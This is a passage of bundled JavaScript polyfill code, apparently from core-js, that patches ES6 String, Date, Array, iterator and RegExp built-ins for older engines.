					return new Constructor(this, kind);
				};
			};

			var TAG = NAME + ' Iterator';
			var DEF_VALUES = DEFAULT == VALUES;
			var VALUES_BUG = false;
			var proto = Base.prototype;
			var $native = proto[ITERATOR] || proto[FF_ITERATOR] || DEFAULT && proto[DEFAULT];
			var $default = $native || getMethod(DEFAULT);
			var $entries = DEFAULT ? !DEF_VALUES ? $default : getMethod('entries') : undefined;
			var $anyNative = NAME == 'Array' ? proto.entries || $native : $native;
			var methods, key, IteratorPrototype; // Fix native

			if ($anyNative) {
				IteratorPrototype = _objectGpo($anyNative.call(new Base()));

				if (IteratorPrototype !== Object.prototype && IteratorPrototype.next) {
					// Set @@toStringTag to native iterators
					_setToStringTag(IteratorPrototype, TAG, true); // fix for some old engines

					if (typeof IteratorPrototype[ITERATOR] != 'function') _hide(IteratorPrototype, ITERATOR, returnThis);
				}
			} // fix Array#{values, @@iterator}.name in V8 / FF


			if (DEF_VALUES && $native && $native.name !== VALUES) {
				VALUES_BUG = true;

				$default = function values() {
					return $native.call(this);
				};
			} // Define iterator


			if (BUGGY || VALUES_BUG || !proto[ITERATOR]) {
				_hide(proto, ITERATOR, $default);
			} // Plug for library


			_iterators[NAME] = $default;
			_iterators[TAG] = returnThis;

			if (DEFAULT) {
				methods = {
					values: DEF_VALUES ? $default : getMethod(VALUES),
					keys: IS_SET ? $default : getMethod(KEYS),
					entries: $entries
				};
				if (FORCED) for (key in methods) {
					if (!(key in proto)) _redefine(proto, key, methods[key]);
				} else _export(_export.P + _export.F * (BUGGY || VALUES_BUG), NAME, methods);
			}

			return methods;
		};

		var $at = _stringAt(true); // 21.1.3.27 String.prototype[@@iterator]()


		_iterDefine(String, 'String', function (iterated) {
			this._t = String(iterated); // target

			this._i = 0; // next index
			// 21.1.5.2.1 %StringIteratorPrototype%.next()
		}, function () {
			var O = this._t;
			var index = this._i;
			var point;
			if (index >= O.length) return {
				value: undefined,
				done: true
			};
			point = $at(O, index);
			this._i += point.length;
			return {
				value: point,
				done: false
			};
		});

		var $at$1 = _stringAt(false);

		_export(_export.P, 'String', {
			// 21.1.3.3 String.prototype.codePointAt(pos)
			codePointAt: function codePointAt(pos) {
				return $at$1(this, pos);
			}
		});

		// 7.2.8 IsRegExp(argument)




		var MATCH = _wks('match');

		var _isRegexp = function (it) {
			var isRegExp;
			return _isObject(it) && ((isRegExp = it[MATCH]) !== undefined ? !!isRegExp : _cof(it) == 'RegExp');
		};

		// helper for String#{startsWith, endsWith, includes}




		var _stringContext = function (that, searchString, NAME) {
			if (_isRegexp(searchString)) throw TypeError('String#' + NAME + " doesn't accept regex!");
			return String(_defined(that));
		};

		var MATCH$1 = _wks('match');

		var _failsIsRegexp = function (KEY) {
			var re = /./;

			try {
				'/./'[KEY](re);
			} catch (e) {
				try {
					re[MATCH$1] = false;
					return !'/./'[KEY](re);
				} catch (f) {
					/* empty */
				}
			}

			return true;
		};

		var ENDS_WITH = 'endsWith';
		var $endsWith = ''[ENDS_WITH];
		_export(_export.P + _export.F * _failsIsRegexp(ENDS_WITH), 'String', {
			endsWith: function endsWith(searchString
										/* , endPosition = @length */
			) {
				var that = _stringContext(this, searchString, ENDS_WITH);
				var endPosition = arguments.length > 1 ? arguments[1] : undefined;
				var len = _toLength(that.length);
				var end = endPosition === undefined ? len : Math.min(_toLength(endPosition), len);
				var search = String(searchString);
				return $endsWith ? $endsWith.call(that, search, end) : that.slice(end - search.length, end) === search;
			}
		});

		var INCLUDES = 'includes';
		_export(_export.P + _export.F * _failsIsRegexp(INCLUDES), 'String', {
			includes: function includes(searchString
										/* , position = 0 */
			) {
				return !!~_stringContext(this, searchString, INCLUDES).indexOf(searchString, arguments.length > 1 ? arguments[1] : undefined);
			}
		});

		_export(_export.P, 'String', {
			// 21.1.3.13 String.prototype.repeat(count)
			repeat: _stringRepeat
		});

		var STARTS_WITH = 'startsWith';
		var $startsWith = ''[STARTS_WITH];
		_export(_export.P + _export.F * _failsIsRegexp(STARTS_WITH), 'String', {
			startsWith: function startsWith(searchString
											/* , position = 0 */
			) {
				var that = _stringContext(this, searchString, STARTS_WITH);
				var index = _toLength(Math.min(arguments.length > 1 ? arguments[1] : undefined, that.length));
				var search = String(searchString);
				return $startsWith ? $startsWith.call(that, search, index) : that.slice(index, index + search.length) === search;
			}
		});

		var quot = /"/g; // B.2.3.2.1 CreateHTML(string, tag, attribute, value)

		var createHTML = function createHTML(string, tag, attribute, value) {
			var S = String(_defined(string));
			var p1 = '<' + tag;
			if (attribute !== '') p1 += ' ' + attribute + '="' + String(value).replace(quot, '&quot;') + '"';
			return p1 + '>' + S + '</' + tag + '>';
		};

		var _stringHtml = function (NAME, exec) {
			var O = {};
			O[NAME] = exec(createHTML);
			_export(_export.P + _export.F * _fails(function () {
				var test = ''[NAME]('"');
				return test !== test.toLowerCase() || test.split('"').length > 3;
			}), 'String', O);
		};

		_stringHtml('anchor', function (createHTML) {
			return function anchor(name) {
				return createHTML(this, 'a', 'name', name);
			};
		});

		_stringHtml('big', function (createHTML) {
			return function big() {
				return createHTML(this, 'big', '', '');
			};
		});

		_stringHtml('blink', function (createHTML) {
			return function blink() {
				return createHTML(this, 'blink', '', '');
			};
		});

		_stringHtml('bold', function (createHTML) {
			return function bold() {
				return createHTML(this, 'b', '', '');
			};
		});

		_stringHtml('fixed', function (createHTML) {
			return function fixed() {
				return createHTML(this, 'tt', '', '');
			};
		});

		_stringHtml('fontcolor', function (createHTML) {
			return function fontcolor(color) {
				return createHTML(this, 'font', 'color', color);
			};
		});

		_stringHtml('fontsize', function (createHTML) {
			return function fontsize(size) {
				return createHTML(this, 'font', 'size', size);
			};
		});

		_stringHtml('italics', function (createHTML) {
			return function italics() {
				return createHTML(this, 'i', '', '');
			};
		});

		_stringHtml('link', function (createHTML) {
			return function link(url) {
				return createHTML(this, 'a', 'href', url);
			};
		});

		_stringHtml('small', function (createHTML) {
			return function small() {
				return createHTML(this, 'small', '', '');
			};
		});

		_stringHtml('strike', function (createHTML) {
			return function strike() {
				return createHTML(this, 'strike', '', '');
			};
		});

		_stringHtml('sub', function (createHTML) {
			return function sub() {
				return createHTML(this, 'sub', '', '');
			};
		});

		_stringHtml('sup', function (createHTML) {
			return function sup() {
				return createHTML(this, 'sup', '', '');
			};
		});

		// 20.3.3.1 / 15.9.4.4 Date.now()


		_export(_export.S, 'Date', {
			now: function now() {
				return new Date().getTime();
			}
		});

		_export(_export.P + _export.F * _fails(function () {
			return new Date(NaN).toJSON() !== null || Date.prototype.toJSON.call({
				toISOString: function toISOString() {
					return 1;
				}
			}) !== 1;
		}), 'Date', {
			// eslint-disable-next-line no-unused-vars
			toJSON: function toJSON(key) {
				var O = _toObject(this);
				var pv = _toPrimitive(O);
				return typeof pv == 'number' && !isFinite(pv) ? null : O.toISOString();
			}
		});

		var getTime = Date.prototype.getTime;
		var $toISOString = Date.prototype.toISOString;

		var lz = function lz(num) {
			return num > 9 ? num : '0' + num;
		}; // PhantomJS / old WebKit has a broken implementations


		var _dateToIsoString = _fails(function () {
			return $toISOString.call(new Date(-5e13 - 1)) != '0385-07-25T07:06:39.999Z';
		}) || !_fails(function () {
			$toISOString.call(new Date(NaN));
		}) ? function toISOString() {
			if (!isFinite(getTime.call(this))) throw RangeError('Invalid time value');
			var d = this;
			var y = d.getUTCFullYear();
			var m = d.getUTCMilliseconds();
			var s = y < 0 ? '-' : y > 9999 ? '+' : '';
			return s + ('00000' + Math.abs(y)).slice(s ? -6 : -4) + '-' + lz(d.getUTCMonth() + 1) + '-' + lz(d.getUTCDate()) + 'T' + lz(d.getUTCHours()) + ':' + lz(d.getUTCMinutes()) + ':' + lz(d.getUTCSeconds()) + '.' + (m > 99 ? m : '0' + lz(m)) + 'Z';
		} : $toISOString;

		// 20.3.4.36 / 15.9.5.43 Date.prototype.toISOString()


		// PhantomJS / old WebKit has a broken implementations


		_export(_export.P + _export.F * (Date.prototype.toISOString !== _dateToIsoString), 'Date', {
			toISOString: _dateToIsoString
		});

		var DateProto = Date.prototype;
		var INVALID_DATE = 'Invalid Date';
		var TO_STRING = 'toString';
		var $toString = DateProto[TO_STRING];
		var getTime$1 = DateProto.getTime;

		if (new Date(NaN) + '' != INVALID_DATE) {
			_redefine(DateProto, TO_STRING, function toString() {
				var value = getTime$1.call(this); // eslint-disable-next-line no-self-compare

				return value === value ? $toString.call(this) : INVALID_DATE;
			});
		}

		var NUMBER$1 = 'number';

		var _dateToPrimitive = function (hint) {
			if (hint !== 'string' && hint !== NUMBER$1 && hint !== 'default') throw TypeError('Incorrect hint');
			return _toPrimitive(_anObject(this), hint != NUMBER$1);
		};

		var TO_PRIMITIVE$1 = _wks('toPrimitive');

		var proto$1 = Date.prototype;
		if (!(TO_PRIMITIVE$1 in proto$1)) _hide(proto$1, TO_PRIMITIVE$1, _dateToPrimitive);

		// 22.1.2.2 / 15.4.3.2 Array.isArray(arg)


		_export(_export.S, 'Array', {
			isArray: _isArray
		});

		// call something on iterator step with safe closing on error


		var _iterCall = function (iterator, fn, value, entries) {
			try {
				return entries ? fn(_anObject(value)[0], value[1]) : fn(value); // 7.4.6 IteratorClose(iterator, completion)
			} catch (e) {
				var ret = iterator['return'];
				if (ret !== undefined) _anObject(ret.call(iterator));
				throw e;
			}
		};

		// check on default Array iterator


		var ITERATOR$1 = _wks('iterator');

		var ArrayProto = Array.prototype;

		var _isArrayIter = function (it) {
			return it !== undefined && (_iterators.Array === it || ArrayProto[ITERATOR$1] === it);
		};

		var _createProperty = function (object, index, value) {
			if (index in object) _objectDp.f(object, index, _propertyDesc(0, value));else object[index] = value;
		};

		var ITERATOR$2 = _wks('iterator');



		var core_getIteratorMethod = _core.getIteratorMethod = function (it) {
			if (it != undefined) return it[ITERATOR$2] || it['@@iterator'] || _iterators[_classof(it)];
		};

		var ITERATOR$3 = _wks('iterator');

		var SAFE_CLOSING = false;

		try {
			var riter = [7][ITERATOR$3]();

			riter['return'] = function () {
				SAFE_CLOSING = true;
			}; // eslint-disable-next-line no-throw-literal
		} catch (e) {
			/* empty */
		}

		var _iterDetect = function (exec, skipClosing) {
			if (!skipClosing && !SAFE_CLOSING) return false;
			var safe = false;

			try {
				var arr = [7];
				var iter = arr[ITERATOR$3]();

				iter.next = function () {
					return {
						done: safe = true
					};
				};

				arr[ITERATOR$3] = function () {
					return iter;
				};

				exec(arr);
			} catch (e) {
				/* empty */
			}

			return safe;
		};

		_export(_export.S + _export.F * !_iterDetect(function (iter) {
		}), 'Array', {
			// 22.1.2.1 Array.from(arrayLike, mapfn = undefined, thisArg = undefined)
			from: function from(arrayLike
								/* , mapfn = undefined, thisArg = undefined */
			) {
				var O = _toObject(arrayLike);
				var C = typeof this == 'function' ? this : Array;
				var aLen = arguments.length;
				var mapfn = aLen > 1 ? arguments[1] : undefined;
				var mapping = mapfn !== undefined;
				var index = 0;
				var iterFn = core_getIteratorMethod(O);
				var length, result, step, iterator;
				if (mapping) mapfn = _ctx(mapfn, aLen > 2 ? arguments[2] : undefined, 2); // if object isn't iterable or it's array with default iterator - use simple case

				if (iterFn != undefined && !(C == Array && _isArrayIter(iterFn))) {
					for (iterator = iterFn.call(O), result = new C(); !(step = iterator.next()).done; index++) {
						_createProperty(result, index, mapping ? _iterCall(iterator, mapfn, [step.value, index], true) : step.value);
					}
				} else {
					length = _toLength(O.length);

					for (result = new C(length); length > index; index++) {
						_createProperty(result, index, mapping ? mapfn(O[index], index) : O[index]);
					}
				}

				result.length = index;
				return result;
			}
		});

		// WebKit Array.of isn't generic


		_export(_export.S + _export.F * _fails(function () {
			function F() {
				/* empty */
			}

			return !(Array.of.call(F) instanceof F);
		}), 'Array', {
			// 22.1.2.3 Array.of( ...items)
			of: function of()
				/* ...args */
			{
				var index = 0;
				var aLen = arguments.length;
				var result = new (typeof this == 'function' ? this : Array)(aLen);

				while (aLen > index) {
					_createProperty(result, index, arguments[index++]);
				}

				result.length = aLen;
				return result;
			}
		});

		var _strictMethod = function (method, arg) {
			return !!method && _fails(function () {
				// eslint-disable-next-line no-useless-call
				arg ? method.call(null, function () {
					/* empty */
				}, 1) : method.call(null);
			});
		};

		var arrayJoin = [].join; // fallback for not array-like strings

		_export(_export.P + _export.F * (_iobject != Object || !_strictMethod(arrayJoin)), 'Array', {
			join: function join(separator) {
				return arrayJoin.call(_toIobject(this), separator === undefined ? ',' : separator);
			}
		});

		var arraySlice$1 = [].slice; // fallback for not array-like ES3 strings and DOM objects

		_export(_export.P + _export.F * _fails(function () {
			if (_html) arraySlice$1.call(_html);
		}), 'Array', {
			slice: function slice(begin, end) {
				var len = _toLength(this.length);
				var klass = _cof(this);
				end = end === undefined ? len : end;
				if (klass == 'Array') return arraySlice$1.call(this, begin, end);
				var start = _toAbsoluteIndex(begin, len);
				var upTo = _toAbsoluteIndex(end, len);
				var size = _toLength(upTo - start);
				var cloned = new Array(size);
				var i = 0;

				for (; i < size; i++) {
					cloned[i] = klass == 'String' ? this.charAt(start + i) : this[start + i];
				}

				return cloned;
			}
		});

		var $sort = [].sort;
		var test$1 = [1, 2, 3];
		_export(_export.P + _export.F * (_fails(function () {
			// IE8-
			test$1.sort(undefined);
		}) || !_fails(function () {
			// V8 bug
			test$1.sort(null); // Old WebKit
		}) || !_strictMethod($sort)), 'Array', {
			// 22.1.3.25 Array.prototype.sort(comparefn)
			sort: function sort(comparefn) {
				return comparefn === undefined ? $sort.call(_toObject(this)) : $sort.call(_toObject(this), _aFunction(comparefn));
			}
		});

		var SPECIES = _wks('species');

		var _arraySpeciesConstructor = function (original) {
			var C;

			if (_isArray(original)) {
				C = original.constructor; // cross-realm fallback

				if (typeof C == 'function' && (C === Array || _isArray(C.prototype))) C = undefined;

				if (_isObject(C)) {
					C = C[SPECIES];
					if (C === null) C = undefined;
				}
			}

			return C === undefined ? Array : C;
		};

		// 9.4.2.3 ArraySpeciesCreate(originalArray, length)


		var _arraySpeciesCreate = function (original, length) {
			return new (_arraySpeciesConstructor(original))(length);
		};

		// 0 -> Array#forEach
		// 1 -> Array#map
		// 2 -> Array#filter
		// 3 -> Array#some
		// 4 -> Array#every
		// 5 -> Array#find
		// 6 -> Array#findIndex










		var _arrayMethods = function (TYPE, $create) {
			var IS_MAP = TYPE == 1;
			var IS_FILTER = TYPE == 2;
			var IS_SOME = TYPE == 3;
			var IS_EVERY = TYPE == 4;
			var IS_FIND_INDEX = TYPE == 6;
			var NO_HOLES = TYPE == 5 || IS_FIND_INDEX;
			var create = $create || _arraySpeciesCreate;
			return function ($this, callbackfn, that) {
				var O = _toObject($this);
				var self = _iobject(O);
				var f = _ctx(callbackfn, that, 3);
				var length = _toLength(self.length);
				var index = 0;
				var result = IS_MAP ? create($this, length) : IS_FILTER ? create($this, 0) : undefined;
				var val, res;

				for (; length > index; index++) {
					if (NO_HOLES || index in self) {
						val = self[index];
						res = f(val, index, O);

						if (TYPE) {
							if (IS_MAP) result[index] = res; // map
							else if (res) switch (TYPE) {
								case 3:
									return true;
								// some

								case 5:
									return val;
								// find

								case 6:
									return index;
								// findIndex

								case 2:
									result.push(val);
								// filter
							} else if (IS_EVERY) return false; // every
						}
					}
				}

				return IS_FIND_INDEX ? -1 : IS_SOME || IS_EVERY ? IS_EVERY : result;
			};
		};

		var $forEach = _arrayMethods(0);

		var STRICT = _strictMethod([].forEach, true);

		_export(_export.P + _export.F * !STRICT, 'Array', {
			// 22.1.3.10 / 15.4.4.18 Array.prototype.forEach(callbackfn [, thisArg])
			forEach: function forEach(callbackfn
									  /* , thisArg */
			) {
				return $forEach(this, callbackfn, arguments[1]);
			}
		});

		var $map = _arrayMethods(1);

		_export(_export.P + _export.F * !_strictMethod([].map, true), 'Array', {
			// 22.1.3.15 / 15.4.4.19 Array.prototype.map(callbackfn [, thisArg])
			map: function map(callbackfn
							  /* , thisArg */
			) {
				return $map(this, callbackfn, arguments[1]);
			}
		});

		var $filter = _arrayMethods(2);

		_export(_export.P + _export.F * !_strictMethod([].filter, true), 'Array', {
			// 22.1.3.7 / 15.4.4.20 Array.prototype.filter(callbackfn [, thisArg])
			filter: function filter(callbackfn
									/* , thisArg */
			) {
				return $filter(this, callbackfn, arguments[1]);
			}
		});

		var $some = _arrayMethods(3);

		_export(_export.P + _export.F * !_strictMethod([].some, true), 'Array', {
			// 22.1.3.23 / 15.4.4.17 Array.prototype.some(callbackfn [, thisArg])
			some: function some(callbackfn
								/* , thisArg */
			) {
				return $some(this, callbackfn, arguments[1]);
			}
		});

		var $every = _arrayMethods(4);

		_export(_export.P + _export.F * !_strictMethod([].every, true), 'Array', {
			// 22.1.3.5 / 15.4.4.16 Array.prototype.every(callbackfn [, thisArg])
			every: function every(callbackfn
								  /* , thisArg */
			) {
				return $every(this, callbackfn, arguments[1]);
			}
		});

		var _arrayReduce = function (that, callbackfn, aLen, memo, isRight) {
			_aFunction(callbackfn);
			var O = _toObject(that);
			var self = _iobject(O);
			var length = _toLength(O.length);
			var index = isRight ? length - 1 : 0;
			var i = isRight ? -1 : 1;
			if (aLen < 2) for (;;) {
				if (index in self) {
					memo = self[index];
					index += i;
					break;
				}

				index += i;

				if (isRight ? index < 0 : length <= index) {
					throw TypeError('Reduce of empty array with no initial value');
				}
			}

			for (; isRight ? index >= 0 : length > index; index += i) {
				if (index in self) {
					memo = callbackfn(memo, self[index], index, O);
				}
			}

			return memo;
		};

		_export(_export.P + _export.F * !_strictMethod([].reduce, true), 'Array', {
			// 22.1.3.18 / 15.4.4.21 Array.prototype.reduce(callbackfn [, initialValue])
			reduce: function reduce(callbackfn
									/* , initialValue */
			) {
				return _arrayReduce(this, callbackfn, arguments.length, arguments[1], false);
			}
		});

		_export(_export.P + _export.F * !_strictMethod([].reduceRight, true), 'Array', {
			// 22.1.3.19 / 15.4.4.22 Array.prototype.reduceRight(callbackfn [, initialValue])
			reduceRight: function reduceRight(callbackfn
											  /* , initialValue */
			) {
				return _arrayReduce(this, callbackfn, arguments.length, arguments[1], true);
			}
		});

		var $indexOf = _arrayIncludes(false);

		var $native = [].indexOf;
		var NEGATIVE_ZERO = !!$native && 1 / [1].indexOf(1, -0) < 0;
		_export(_export.P + _export.F * (NEGATIVE_ZERO || !_strictMethod($native)), 'Array', {
			// 22.1.3.11 / 15.4.4.14 Array.prototype.indexOf(searchElement [, fromIndex])
			indexOf: function indexOf(searchElement
									  /* , fromIndex = 0 */
			) {
				return NEGATIVE_ZERO // convert -0 to +0
					? $native.apply(this, arguments) || 0 : $indexOf(this, searchElement, arguments[1]);
			}
		});

		var $native$1 = [].lastIndexOf;
		var NEGATIVE_ZERO$1 = !!$native$1 && 1 / [1].lastIndexOf(1, -0) < 0;
		_export(_export.P + _export.F * (NEGATIVE_ZERO$1 || !_strictMethod($native$1)), 'Array', {
			// 22.1.3.14 / 15.4.4.15 Array.prototype.lastIndexOf(searchElement [, fromIndex])
			lastIndexOf: function lastIndexOf(searchElement
											  /* , fromIndex = @[*-1] */
			) {
				// convert -0 to +0
				if (NEGATIVE_ZERO$1) return $native$1.apply(this, arguments) || 0;
				var O = _toIobject(this);
				var length = _toLength(O.length);
				var index = length - 1;
				if (arguments.length > 1) index = Math.min(index, _toInteger(arguments[1]));
				if (index < 0) index = length + index;

				for (; index >= 0; index--) {
					if (index in O) if (O[index] === searchElement) return index || 0;
				}

				return -1;
			}
		});

		var _arrayCopyWithin = [].copyWithin || function copyWithin(target
																	/* = 0 */
			, start
																	/* = 0, end = @length */
		) {
			var O = _toObject(this);
			var len = _toLength(O.length);
			var to = _toAbsoluteIndex(target, len);
			var from = _toAbsoluteIndex(start, len);
			var end = arguments.length > 2 ? arguments[2] : undefined;
			var count = Math.min((end === undefined ? len : _toAbsoluteIndex(end, len)) - from, len - to);
			var inc = 1;

			if (from < to && to < from + count) {
				inc = -1;
				from += count - 1;
				to += count - 1;
			}

			while (count-- > 0) {
				if (from in O) O[to] = O[from];else delete O[to];
				to += inc;
				from += inc;
			}

			return O;
		};

		// 22.1.3.31 Array.prototype[@@unscopables]
		var UNSCOPABLES = _wks('unscopables');

		var ArrayProto$1 = Array.prototype;
		if (ArrayProto$1[UNSCOPABLES] == undefined) _hide(ArrayProto$1, UNSCOPABLES, {});

		var _addToUnscopables = function (key) {
			ArrayProto$1[UNSCOPABLES][key] = true;
		};

		// 22.1.3.3 Array.prototype.copyWithin(target, start, end = this.length)


		_export(_export.P, 'Array', {
			copyWithin: _arrayCopyWithin
		});

		_addToUnscopables('copyWithin');

		var _arrayFill = function fill(value
									   /* , start = 0, end = @length */
		) {
			var O = _toObject(this);
			var length = _toLength(O.length);
			var aLen = arguments.length;
			var index = _toAbsoluteIndex(aLen > 1 ? arguments[1] : undefined, length);
			var end = aLen > 2 ? arguments[2] : undefined;
			var endPos = end === undefined ? length : _toAbsoluteIndex(end, length);

			while (endPos > index) {
				O[index++] = value;
			}

			return O;
		};

		// 22.1.3.6 Array.prototype.fill(value, start = 0, end = this.length)


		_export(_export.P, 'Array', {
			fill: _arrayFill
		});

		_addToUnscopables('fill');

		var $find = _arrayMethods(5);

		var KEY = 'find';
		var forced = true; // Shouldn't skip holes

		if (KEY in []) Array(1)[KEY](function () {
			forced = false;
		});
		_export(_export.P + _export.F * forced, 'Array', {
			find: function find(callbackfn
								/* , that = undefined */
			) {
				return $find(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined);
			}
		});

		_addToUnscopables(KEY);

		var $find$1 = _arrayMethods(6);

		var KEY$1 = 'findIndex';
		var forced$1 = true; // Shouldn't skip holes

		if (KEY$1 in []) Array(1)[KEY$1](function () {
			forced$1 = false;
		});
		_export(_export.P + _export.F * forced$1, 'Array', {
			findIndex: function findIndex(callbackfn
										  /* , that = undefined */
			) {
				return $find$1(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined);
			}
		});

		_addToUnscopables(KEY$1);

		var SPECIES$1 = _wks('species');

		var _setSpecies = function (KEY) {
			var C = _global[KEY];
			if (_descriptors && C && !C[SPECIES$1]) _objectDp.f(C, SPECIES$1, {
				configurable: true,
				get: function get() {
					return this;
				}
			});
		};

		_setSpecies('Array');

		var _iterStep = function (done, value) {
			return {
				value: value,
				done: !!done
			};
		};

		// 22.1.3.4 Array.prototype.entries()
		// 22.1.3.13 Array.prototype.keys()
		// 22.1.3.29 Array.prototype.values()
		// 22.1.3.30 Array.prototype[@@iterator]()


		var es6_array_iterator = _iterDefine(Array, 'Array', function (iterated, kind) {
			this._t = _toIobject(iterated); // target

			this._i = 0; // next index

			this._k = kind; // kind
			// 22.1.5.2.1 %ArrayIteratorPrototype%.next()
		}, function () {
			var O = this._t;
			var kind = this._k;
			var index = this._i++;

			if (!O || index >= O.length) {
				this._t = undefined;
				return _iterStep(1);
			}

			if (kind == 'keys') return _iterStep(0, index);
			if (kind == 'values') return _iterStep(0, O[index]);
			return _iterStep(0, [index, O[index]]);
		}, 'values'); // argumentsList[@@iterator] is %ArrayProto_values% (9.4.4.6, 9.4.4.7)

		_iterators.Arguments = _iterators.Array;
		_addToUnscopables('keys');
		_addToUnscopables('values');
		_addToUnscopables('entries');

		var _flags = function () {
			var that = _anObject(this);
			var result = '';
			if (that.global) result += 'g';
			if (that.ignoreCase) result += 'i';
			if (that.multiline) result += 'm';
			if (that.unicode) result += 'u';
			if (that.sticky) result += 'y';
			return result;
		};

		var dP$4 = _objectDp.f;

		var gOPN$3 = _objectGopn.f;





		var $RegExp = _global.RegExp;
		var Base$1 = $RegExp;
		var proto$2 = $RegExp.prototype;
		var re1 = /a/g;
		var re2 = /a/g; // "new" creates a new object, old webkit buggy here

		var CORRECT_NEW = new $RegExp(re1) !== re1;

		if (_descriptors && (!CORRECT_NEW || _fails(function () {
			re2[_wks('match')] = false; // RegExp constructor can alter flags and IsRegExp works correct with @@match

			return $RegExp(re1) != re1 || $RegExp(re2) == re2 || $RegExp(re1, 'i') != '/a/i';
		}))) {
			$RegExp = function RegExp(p, f) {
				var tiRE = this instanceof $RegExp;
				var piRE = _isRegexp(p);
				var fiU = f === undefined;
				return !tiRE && piRE && p.constructor === $RegExp && fiU ? p : _inheritIfRequired(CORRECT_NEW ? new Base$1(piRE && !fiU ? p.source : p, f) : Base$1((piRE = p instanceof $RegExp) ? p.source : p, piRE && fiU ? _flags.call(p) : f), tiRE ? this : proto$2, $RegExp);
			};

			var proxy = function proxy(key) {
				key in $RegExp || dP$4($RegExp, key, {
					configurable: true,
					get: function get() {
						return Base$1[key];
					},
					set: function set(it) {
						Base$1[key] = it;
					}
				});
			};

			for (var keys$1 = gOPN$3(Base$1), i = 0; keys$1.length > i;) {
				proxy(keys$1[i++]);
			}

			proto$2.constructor = $RegExp;
			$RegExp.prototype = proto$2;

			_redefine(_global, 'RegExp', $RegExp);
		}

		_setSpecies('RegExp');

		var nativeExec = RegExp.prototype.exec; // This always refers to the native implementation, because the
		// String#replace polyfill uses ./fix-regexp-well-known-symbol-logic.js,
		// which loads this file before patching the method.

		var nativeReplace = String.prototype.replace;
		var patchedExec = nativeExec;
		var LAST_INDEX = 'lastIndex';

		var UPDATES_LAST_INDEX_WRONG = function () {
			var re1 = /a/,
				re2 = /b*/g;
			nativeExec.call(re1, 'a');
			nativeExec.call(re2, 'a');
			return re1[LAST_INDEX] !== 0 || re2[LAST_INDEX] !== 0;
		}(); // nonparticipating capturing group, copied from es5-shim's String#split patch.


		var NPCG_INCLUDED = /()??/.exec('')[1] !== undefined;
		var PATCH = UPDATES_LAST_INDEX_WRONG || NPCG_INCLUDED;

		if (PATCH) {
			patchedExec = function exec(str) {
				var re = this;
				var lastIndex, reCopy, match, i;

				if (NPCG_INCLUDED) {
					reCopy = new RegExp('^' + re.source + '$(?!\\s)', _flags.call(re));
				}

				if (UPDATES_LAST_INDEX_WRONG) lastIndex = re[LAST_INDEX];
				match = nativeExec.call(re, str);

				if (UPDATES_LAST_INDEX_WRONG && match) {
					re[LAST_INDEX] = re.global ? match.index + match[0].length : lastIndex;
				}

				if (NPCG_INCLUDED && match && match.length > 1) {
					// Fix browsers whose `exec` methods don't consistently return `undefined`
					// for NPCG, like IE8. NOTE: This doesn' work for /(.?)?/
					// eslint-disable-next-line no-loop-func
					nativeReplace.call(match[0], reCopy, function () {
						for (i = 1; i < arguments.length - 2; i++) {
							if (arguments[i] === undefined) match[i] = undefined;
						}
					});
				}

				return match;
			};
		}

		var _regexpExec = patchedExec;

		_export({
			target: 'RegExp',
			proto: true,
			forced: _regexpExec !== /./.exec
		}, {
			exec: _regexpExec
		});

		// 21.2.5.3 get RegExp.prototype.flags()
		if (_descriptors && /./g.flags != 'g') _objectDp.f(RegExp.prototype, 'flags', {
			configurable: true,
			get: _flags
		});

		var TO_STRING$1 = 'toString';
		var $toString$1 = /./[TO_STRING$1];

		var define = function define(fn) {
			_redefine(RegExp.prototype, TO_STRING$1, fn, true);
		}; // 21.2.5.14 RegExp.prototype.toString()


		if (_fails(function () {
			return $toString$1.call({
				source: 'a',
				flags: 'b'
			}) != '/a/b';
		})) {
			define(function toString() {
				var R = _anObject(this);
				return '/'.concat(R.source, '/', 'flags' in R ? R.flags : !_descriptors && R instanceof RegExp ? _flags.call(R) : undefined);
			}); // FF44- RegExp#toString has a wrong name
		} else if ($toString$1.name != TO_STRING$1) {
			define(function toString() {
				return $toString$1.call(this);
			});
		}

		var at = _stringAt(true); // `AdvanceStringIndex` abstract operation
		// https://tc39.github.io/ecma262/#sec-advancestringindex


		var _advanceStringIndex = function (S, index, unicode) {
			return index + (unicode ? at(S, index).length : 1);
		};

		var builtinExec = RegExp.prototype.exec; // `RegExpExec` abstract operation
		// https://tc39.github.io/ecma262/#sec-regexpexec

		var _regexpExecAbstract = function (R, S) {
			var exec = R.exec;

			if (typeof exec === 'function') {
				var result = exec.call(R, S);

				if (babelHelpers.typeof(result) !== 'object') {
					throw new TypeError('RegExp exec method returned something other than an Object or null');
				}

				return result;
			}

			if (_classof(R) !== 'RegExp') {
				throw new TypeError('RegExp#exec called on incompatible receiver');
			}

			return builtinExec.call(R, S);
		};

		var SPECIES$2 = _wks('species');
		var REPLACE_SUPPORTS_NAMED_GROUPS = !_fails(function () {
			// #replace needs built-in support for named groups.
			// #match works fine because it just return the exec results, even if it has
			// a "grops" property.
			var re = /./;

			re.exec = function () {
				var result = [];
				result.groups = {
					a: '7'
				};
				return result;
			};

			return ''.replace(re, '$<a>') !== '7';
		});

		var SPLIT_WORKS_WITH_OVERWRITTEN_EXEC = function () {
			// Chrome 51 has a buggy "split" implementation when RegExp#exec !== nativeExec
			var re = /(?:)/;
			var originalExec = re.exec;

			re.exec = function () {
				return originalExec.apply(this, arguments);
			};

			var result = 'ab'.split(re);
			return result.length === 2 && result[0] === 'a' && result[1] === 'b';
		}();

		var _fixReWks = function (KEY, length, exec) {
			var SYMBOL = _wks(KEY);
			var DELEGATES_TO_SYMBOL = !_fails(function () {
				// String methods call symbol-named RegEp methods
				var O = {};

				O[SYMBOL] = function () {
					return 7;
				};

				return ''[KEY](O) != 7;
			});
			var DELEGATES_TO_EXEC = DELEGATES_TO_SYMBOL ? !_fails(function () {
				// Symbol-named RegExp methods call .exec
				var execCalled = false;
				var re = /a/;

				re.exec = function () {
					execCalled = true;
					return null;
				};

				if (KEY === 'split') {
					// RegExp[@@split] doesn't call the regex's exec method, but first creates
					// a new one. We need to return the patched regex when creating the new one.
					re.constructor = {};

					re.constructor[SPECIES$2] = function () {
						return re;
					};
				}

				re[SYMBOL]('');
				return !execCalled;
			}) : undefined;

			if (!DELEGATES_TO_SYMBOL || !DELEGATES_TO_EXEC || KEY === 'replace' && !REPLACE_SUPPORTS_NAMED_GROUPS || KEY === 'split' && !SPLIT_WORKS_WITH_OVERWRITTEN_EXEC) {
				var nativeRegExpMethod = /./[SYMBOL];
